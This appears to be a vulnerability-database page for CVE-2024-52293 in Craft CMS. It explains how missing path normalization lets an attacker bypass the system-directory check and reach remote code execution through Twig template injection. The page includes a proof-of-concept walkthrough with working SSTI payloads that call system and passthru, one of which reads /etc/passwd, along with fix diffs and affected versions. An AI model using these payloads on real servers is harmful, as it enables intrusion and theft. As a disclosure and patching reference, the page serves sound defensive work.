CVE-2024-52293 is a high-severity (CVSS 7.2) Path Traversal vulnerability in craftcms/cms. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for craftcms/cms — see the affected versions and patch details below.
Craft has a Potential Remote Code Execution via missing path normalization & Twig SSTI
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-52293.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
craftcms/cms🐘craftcms/cmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.
(Post-authentication, ALLOW_ADMIN_CHANGES=true)
Details
Note: This is a sequel to CVE-2023-40035
In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:
/**
* Returns an absolute path based on a source location or the current working directory.
*
* @param string $to The target path.
* @param string|null $from The source location. Defaults to the current working directory.
* @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.
* @return string
* @since 4.3.5
*/
public static function absolutePath(
string $to,
?string $from = null,
string $ds = DIRECTORY_SEPARATOR,
): string {
$to = static::normalizePath($to, $ds);
// Already absolute?
if (
str_starts_with($to, $ds) ||
preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
) {
return $to;
}
if ($from === null) {
$from = FileHelper::normalizePath(getcwd(), $ds);
} else {
$from = static::absolutePath($from, ds: $ds);
}
return $from . $ds . $to;
}
This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.
Let's see what happens after calling isSystemDir("../templates/poc"):
/**
* Returns whether the given file path is located within or above any system directories.
*
* @param string $path
* @return bool
* @since 5.4.2
*/
public function isSystemDir(string $path): bool // $path = "../templates/poc"
{
$path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"
foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
$dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
return true;
}
}
return false; // We're here!
}
Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136:
/**
* @param string $attribute
* @param array|null $params
* @param InlineValidator $validator
* @return void
* @since 4.4.6
*/
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {
$validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));
}
}
We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc
Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml
Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}
These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.
PoC
- Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start
mkdir craftcms && cd craftcms
ddev config --project-type=craftcms --docroot=web --create-docroot
ddev composer create -y --no-scripts "craftcms/craft"
ddev craft install
php craft setup/security-key
ddev start
<img width="1280" alt="start" src="https://github.com/user-attachments/assets/f8bcc22a-6ffd-40a5-81c6-c077fa4ce1d3">
- Create a new filesystem with base path
../templates/poc
Notice that the poc directory was created
- Create a new asset volume using the
pocfilesystem
Upload a poc.ttml file with RCE template code
{{'<pre>'}}
{{ 8*8 }}
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}
Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.
- Create a new route
*with templatepoc/poc.ttml
- This leads to Remote Code Execution on arbitrary route
/*
Remediation
diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php
index 0c2da884a7..ac23ce556a 100644
--- a/src/helpers/FileHelper.php
+++ b/src/helpers/FileHelper.php
@@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper
$from = static::absolutePath($from, ds: $ds);
}
- return $from . $ds . $to;
+ return FileHelper::normalizePath($from . $ds . $to);
}
/**
See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:
diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php
index efff2d2412..756f452f8b 100644
--- a/src/web/twig/Extension.php
+++ b/src/web/twig/Extension.php
@@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface
new TwigFilter('lcfirst', [$this, 'lcfirstFilter']),
new TwigFilter('literal', [$this, 'literalFilter']),
new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]),
+ new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]),
+ new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
+ new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
new TwigFilter('merge', [$this, 'mergeFilter']),
Impact
Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | craftcms/cms | ≥ 4.0.0-RC1&&< 4.12.2 | 4.12.2composer require craftcms/cms:^4.12.2 |
| 🐘Packagist | craftcms/cms | ≥ 5.0.0-RC1&&< 5.4.3 | 5.4.3composer require craftcms/cms:^5.4.3 |
Affected Products
craft cmscraftcmsResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update craftcms/cms to 4.12.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-52293 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2024-52293 in your dependencies?
Find it across Packagist, including transitive dependencies.